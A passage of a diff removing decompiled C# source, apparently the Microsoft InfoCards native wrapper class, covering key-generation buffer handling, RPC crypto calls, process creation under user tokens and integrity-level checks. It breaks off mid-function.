&\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 134, false); - IntPtr num1 = IntPtr.Zero; - IntPtr num2 = IntPtr.Zero; - IntPtr num3 = IntPtr.Zero; - IntPtr num4 = IntPtr.Zero; - IntPtr num5 = IntPtr.Zero; - IntPtr num6 = IntPtr.Zero; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - num1 = Marshal.AllocHGlobal(length2); - num2 = Marshal.AllocHGlobal(length2); - num3 = Marshal.AllocHGlobal(length2); - num4 = Marshal.AllocHGlobal(length2); - num5 = Marshal.AllocHGlobal(length3); - num6 = Marshal.AllocHGlobal(length3); - Marshal.Copy(Xp1ByteArray, 0, num1, length2); - Marshal.Copy(Xp2ByteArray, 0, num2, length2); - Marshal.Copy(Xq1ByteArray, 0, num3, length2); - Marshal.Copy(Xq2ByteArray, 0, num4, length2); - Marshal.Copy(XpByteArray, 0, num5, length3); - Marshal.Copy(XqByteArray, 0, num6, length3); - int error = \u003CModule\u003E.InfoCardKeyGenX931((uint) length2, (byte*) num1.ToPointer(), (byte*) num2.ToPointer(), (byte*) num3.ToPointer(), (byte*) num4.ToPointer(), (uint) length3, (byte*) num5.ToPointer(), (byte*) num6.ToPointer(), (uint) publicExponent, &numPtr, &length1, &x931RestartT); - restartCode = (KeyGenRestartCodes) x931RestartT; - if (0 == error) - { - try - { - if (KeyGenRestartCodes.X931RestartNone == restartCode) - { - \u003CModule\u003E.AssertInternal(0U != length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 193, false); - destination = new byte[(int) length1]; - Marshal.Copy(new IntPtr((void*) numPtr), destination, 0, (int) length1); - } - else - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 203, false); - } - finally - { - \u003CModule\u003E.InfoCardKeyGenZeroAndFree(numPtr, length1); - } - return destination; - } - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 218, false); - throw new Win32Exception(error); - } - finally - { - if (IntPtr.Zero != num1) - { - uint num7 = (uint) length2; - sbyte* pointer = (sbyte*) num1.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num7; - } - while (num7 != 0U); - } - Marshal.FreeHGlobal(num1); - } - if (IntPtr.Zero != num2) - { - uint num8 = (uint) length2; - sbyte* pointer = (sbyte*) num2.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num8; - } - while (num8 != 0U); - } - Marshal.FreeHGlobal(num2); - } - if (IntPtr.Zero != num3) - { - uint num9 = (uint) length2; - sbyte* pointer = (sbyte*) num3.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num9; - } - while (num9 != 0U); - } - Marshal.FreeHGlobal(num3); - } - if (IntPtr.Zero != num4) - { - uint num10 = (uint) length2; - sbyte* pointer = (sbyte*) num4.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num10; - } - while (num10 != 0U); - } - Marshal.FreeHGlobal(num4); - } - if (IntPtr.Zero != num5) - { - uint num11 = (uint) length3; - sbyte* pointer = (sbyte*) num5.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num11; - } - while (num11 != 0U); - } - Marshal.FreeHGlobal(num5); - } - if (IntPtr.Zero != num6) - { - uint num12 = (uint) length3; - sbyte* pointer = (sbyte*) num6.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num12; - } - while (num12 != 0U); - } - Marshal.FreeHGlobal(num6); - } - } - } - - public static unsafe uint InfoCardStartRpcServerWrapper( - string uiAgentFullPath, - IntPtr rpcCallbacks) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(uiAgentFullPath); - return \u003CModule\u003E.InfoCardStartRpcServer((ushort*) hglobal.ToPointer(), (_RPCCALLBACKS*) rpcCallbacks.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static uint InfoCardStopRpcServerWrapper() => \u003CModule\u003E.InfoCardStopRpcServer(); - - public static uint AdjustPrivilegesWrapper([MarshalAs(UnmanagedType.U1)] bool isTabletPC) => \u003CModule\u003E.AdjustPrivileges(isTabletPC); - - public static unsafe uint CreateAndWaitForFileOpenDialogWrapper( - string arguments, - WindowsIdentity callerIdentity, - uint userProcessPid, - ref string fileName) - { - uint openDialogWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - try - { - hglobal1 = Marshal.StringToHGlobalUni(arguments); - hglobal2 = Marshal.StringToHGlobalUni(callerIdentity.Name); - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(short&) ref arrayTypeBy0BaeG = (short) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G&) ((IntPtr) &arrayTypeBy0BaeG + 2), 0, 518); - IntPtr token = callerIdentity.Token; - openDialogWrapper = \u003CModule\u003E.CreateAndWaitForFileOpenDialog((ushort*) hglobal1.ToPointer(), token.ToPointer(), userProcessPid, (ushort*) hglobal2.ToPointer(), (ushort*) &arrayTypeBy0BaeG); - fileName = 0U != openDialogWrapper ? "" : new string((char*) &arrayTypeBy0BaeG); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - } - return openDialogWrapper; - } - - public static unsafe uint CreateProcessAsUserHelperWrapper( - string application, - string commandLine, - uint userProcessPid, - string desktop, - string userName, - ref int pid) - { - uint userHelperWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - void* voidPtr = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(desktop); - hglobal4 = Marshal.StringToHGlobalUni(userName); - uint num = 0; - userHelperWrapper = \u003CModule\u003E.CreateProcessAsUserHelper((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), &voidPtr, &num); - pid = (int) num; - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.CloseHandle(voidPtr); - } - return userHelperWrapper; - } - - public static unsafe string GetLocalDataPath(WindowsIdentity identity) - { - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BaeG, 0, 520); - int folderPathW = \u003CModule\u003E.SHGetFolderPathW((HWND__*) 0, 28, identity.Token.ToPointer(), 0U, (ushort*) &arrayTypeBy0BaeG); - if (folderPathW < 0) - throw new Win32Exception(folderPathW); - return new string((char*) &arrayTypeBy0BaeG); - } - - public static unsafe WindowsIdentity CreateServiceExecutionIdentity( - Process callingProcess) - { - WindowsIdentity identity = (WindowsIdentity) null; - void* voidPtr = (void*) 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - identity = new WindowsIdentity(new IntPtr(voidPtr)); - if (NativeMcppMethods.IsLowIntegrityIdentity(identity)) - identity = NativeMcppMethods.CreateMediumIntegrityIdentity(identity); - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - return identity; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsTokenValid(Process callingProcess) - { - void* voidPtr = (void*) 0; - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - _TOKEN_STATISTICS tokenStatistics; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref tokenStatistics = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_TOKEN_STATISTICS&) ((IntPtr) &tokenStatistics + 4), 0, 52); - uint num1 = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 10, (void*) &tokenStatistics, 56U, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - _SECURITY_LOGON_SESSION_DATA* logonSessionDataPtr = (_SECURITY_LOGON_SESSION_DATA*) 0; - if (0 != \u003CModule\u003E.LsaGetLogonSessionData((_LUID*) ((IntPtr) &tokenStatistics + 8), &logonSessionDataPtr)) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint num2 = (uint) *(int*) ((IntPtr) logonSessionDataPtr + 36); - \u003CModule\u003E.LsaFreeReturnBuffer((void*) logonSessionDataPtr); - return 9U != num2; - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - - public static unsafe uint CreateProcessAsTrustedUserWrapper( - string application, - string commandLine, - uint userProcessPid, - string pDesktop, - string pUserName, - uint userSessionId, - ref IntPtr trustedUserToken, - ref IntPtr processHandle, - ref int pid, - IntPtr jobHandle, - ref string trustedUserSid, - [MarshalAs(UnmanagedType.U1)] bool fElevateToken) - { - uint trustedUserWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - IntPtr hglobal5 = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(pDesktop); - hglobal4 = Marshal.StringToHGlobalUni(pUserName); - uint num1 = 0; - void* voidPtr3 = (void*) 0; - void* hCurrentToken = (void*) 0; - void* voidPtr4 = (void*) 0; - if (IntPtr.Zero != trustedUserToken) - hCurrentToken = trustedUserToken.ToPointer(); - if (IntPtr.Zero != jobHandle) - voidPtr4 = jobHandle.ToPointer(); - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal5 = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal5.ToPointer(), &voidPtr1)) - trustedUserWrapper = \u003CModule\u003E.GetLastError(); - } - if (fElevateToken) - { - voidPtr2 = NativeMcppMethods.CreateHighIntegrityToken(hCurrentToken); - \u003CModule\u003E.AssertInternal((IntPtr) voidPtr2 != IntPtr.Zero, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 685, false); - } - if (0U == trustedUserWrapper) - { - void** voidPtr5 = (IntPtr) voidPtr2 == IntPtr.Zero ? &hCurrentToken : &voidPtr2; - trustedUserWrapper = \u003CModule\u003E.CreateProcessAsTrustedUser((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), userSessionId, voidPtr5, &voidPtr3, &num1, voidPtr4, &voidPtr1); - if (0U == trustedUserWrapper) - { - IntPtr num2 = new IntPtr(voidPtr3); - processHandle = num2; - IntPtr num3 = new IntPtr(hCurrentToken); - trustedUserToken = num3; - pid = (int) num1; - } - } - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal5) - { - Marshal.FreeHGlobal(hglobal5); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - ushort* numPtr = (ushort*) 0; - if (string.IsNullOrEmpty(trustedUserSid) && \u003CModule\u003E.ConvertSidToStringSidW(voidPtr1, &numPtr) != 0) - { - IntPtr ptr = new IntPtr((void*) numPtr); - trustedUserSid = Marshal.PtrToStringUni(ptr); - } - \u003CModule\u003E.LocalFree(voidPtr1); - } - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - } - return trustedUserWrapper; - } - - public static unsafe uint CreateJobObjectWithSD(ref IntPtr jobHandle, string trustedUserSid) - { - uint jobObjectWithSd = 0; - IntPtr hglobal = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr1)) - { - jobObjectWithSd = \u003CModule\u003E.GetLastError(); - if (0U != jobObjectWithSd) - goto label_11; - } - } - jobObjectWithSd = \u003CModule\u003E.CreateJobObjectHelper(&voidPtr2, voidPtr1); - if (0U == jobObjectWithSd) - { - IntPtr num = new IntPtr(voidPtr2); - jobHandle = num; - } - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.LocalFree(voidPtr1); - } -label_11: - return jobObjectWithSd; - } - - public static unsafe IntPtr RpcCryptoOpen(string portName) - { - string s = (string) null; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - void* voidPtr = (void*) 0; - ushort* numPtr = (ushort*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(portName); - int error1 = \u003CModule\u003E.RpcStringBindingComposeW((ushort*) 0, \u003CModule\u003E.g_lrpcProtocolSequence, (ushort*) 0, (ushort*) hglobal1.ToPointer(), (ushort*) 0, &numPtr); - if (0 != error1) - throw new Win32Exception(error1); - int error2 = \u003CModule\u003E.RpcBindingFromStringBindingW(numPtr, &voidPtr); - if (0 != error2) - throw new Win32Exception(error2); - hglobal2 = Marshal.StringToHGlobalUni(s); - int error3 = \u003CModule\u003E.RpcBindingSetAuthInfoW(voidPtr, (ushort*) 0, 6U, 10U, (void*) 0, 0U); - if (0 != error3) - throw new Win32Exception(error3); - return new IntPtr(voidPtr); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.RpcStringFreeW(&numPtr); - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - Marshal.FreeHGlobal(hglobal2); - } - } - - public static unsafe void RpcCryptoClose(IntPtr hIdl, string contextKey) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(contextKey); - \u003CModule\u003E.RpcCryptoCloseContext(hIdl.ToPointer(), (ushort*) hglobal.ToPointer()); - \u003CModule\u003E.RpcBindingFree(&hIdl.ToPointer()); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe byte[] RpcCryptoDispatchRequest( - IntPtr hIdl, - string contextKey, - string requestName, - byte[] buffer, - int index, - int length) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - _RPC_REQUEST rpcRequest; - // ISSUE: initblk instruction - __memset(ref rpcRequest, 0, 12); - _RPC_RESPONSE* rpcResponsePtr1 = (_RPC_RESPONSE*) 0; - try - { - hglobal2 = Marshal.StringToHGlobalUni(contextKey); - hglobal1 = Marshal.StringToHGlobalUni(requestName); - IntPtr destination1 = Marshal.AllocHGlobal(length); - hglobal3 = destination1; - Marshal.Copy(buffer, 0, destination1, length); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 8) = (int) hglobal3.ToPointer(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 4) = length; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref rpcRequest = (int) hglobal1.ToPointer(); - int error = \u003CModule\u003E.RpcCryptoDispatchRequest(hIdl.ToPointer(), (ushort*) hglobal2.ToPointer(), &rpcRequest, &rpcResponsePtr1); - if (error < 0) - throw new Win32Exception(error); - if (IntPtr.Zero == (IntPtr) rpcResponsePtr1) - throw new Win32Exception(87); - int length1 = *(int*) rpcResponsePtr1; - byte[] destination2 = new byte[length1]; - _RPC_RESPONSE* rpcResponsePtr2 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr2 != 0) - Marshal.Copy(new IntPtr((void*) *(int*) rpcResponsePtr2), destination2, 0, *(int*) rpcResponsePtr1); - else if (length1 > 0) - throw new Win32Exception(87); - return destination2; - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) rpcResponsePtr1) - { - _RPC_RESPONSE* rpcResponsePtr3 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr3 != 0) - \u003CModule\u003E.MIDL_user_free((void*) *(int*) rpcResponsePtr3); - \u003CModule\u003E.MIDL_user_free((void*) rpcResponsePtr1); - } - } - } - - public static unsafe int CryptAlgIdFromOid(string strOid) - { - if (string.IsNullOrEmpty(strOid)) - return 32772; - string s = CryptoConfig.MapNameToOID(strOid); - if (string.IsNullOrEmpty(s)) - s = strOid; - IntPtr hglobalAnsi = Marshal.StringToHGlobalAnsi(s); - try - { - _CRYPT_OID_INFO* oidInfo = \u003CModule\u003E.CryptFindOIDInfo(1U, hglobalAnsi.ToPointer(), 0U); - if (IntPtr.Zero == (IntPtr) oidInfo) - throw new Win32Exception(-2147467259); - return *(int*) ((IntPtr) oidInfo + 16); - } - finally - { - if (IntPtr.Zero != hglobalAnsi) - Marshal.FreeHGlobal(hglobalAnsi); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool GetHighAssuranceFlags(IntPtr pcertchaincontext, ref int haFlags) - { - uint num = 0; - haFlags = 0; - byte highAssuranceFlags; - if (!(IntPtr.Zero == pcertchaincontext) && \u003CModule\u003E.SetHighAssuranceFlags((_CERT_CHAIN_CONTEXT*) pcertchaincontext.ToPointer(), &num) != 0) - { - haFlags = (int) num; - highAssuranceFlags = (byte) 1; - } - else - highAssuranceFlags = (byte) 0; - return (bool) highAssuranceFlags; - } - - public static unsafe int VerifyTrust(string fileName) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(fileName); - return (int) \u003CModule\u003E.VerifyTrust((ushort*) hglobal.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe void CheckSIDAgainstCurrentRpcUser(string strSid) - { - IntPtr hglobal = IntPtr.Zero; - void* voidPtr = (void*) 0; - int num1 = 0; - int num2 = 0; - try - { - hglobal = Marshal.StringToHGlobalUni(strSid); - if (\u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (0 != \u003CModule\u003E.RpcImpersonateClient((void*) 0)) - throw new SecurityException(); - num2 = 1; - if (\u003CModule\u003E.CheckTokenMembership((void*) 0, voidPtr, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (num1 == 0) - throw new SecurityException(); - } - finally - { - if (num2 != 0 && \u003CModule\u003E.RevertToSelf() == 0) - throw new InvalidOperationException(); - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsOsVistaOrGreater() - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - return (uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsLowIntegrityIdentity(WindowsIdentity identity) - { - bool flag = false; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) != 0) - { - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) 0; - void* voidPtr = (void*) 0; - uint num1 = 0; - uint num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) 0, 0U, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num1); - if ((IntPtr) tokenMandatoryLabelPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr, num1, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, (void*) 0, &num2) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - voidPtr = \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) voidPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, voidPtr, &num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.EqualSid(voidPtr, (void*) *(int*) tokenMandatoryLabelPtr) != 0) - flag = true; - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr); - } - } - } - return flag; - } - - public static unsafe WindowsIdentity CreateMediumIntegrityIdentity( - WindowsIdentity identity) - { - WindowsIdentity integrityIdentity = (WindowsIdentity) null; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* voidPtr = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { 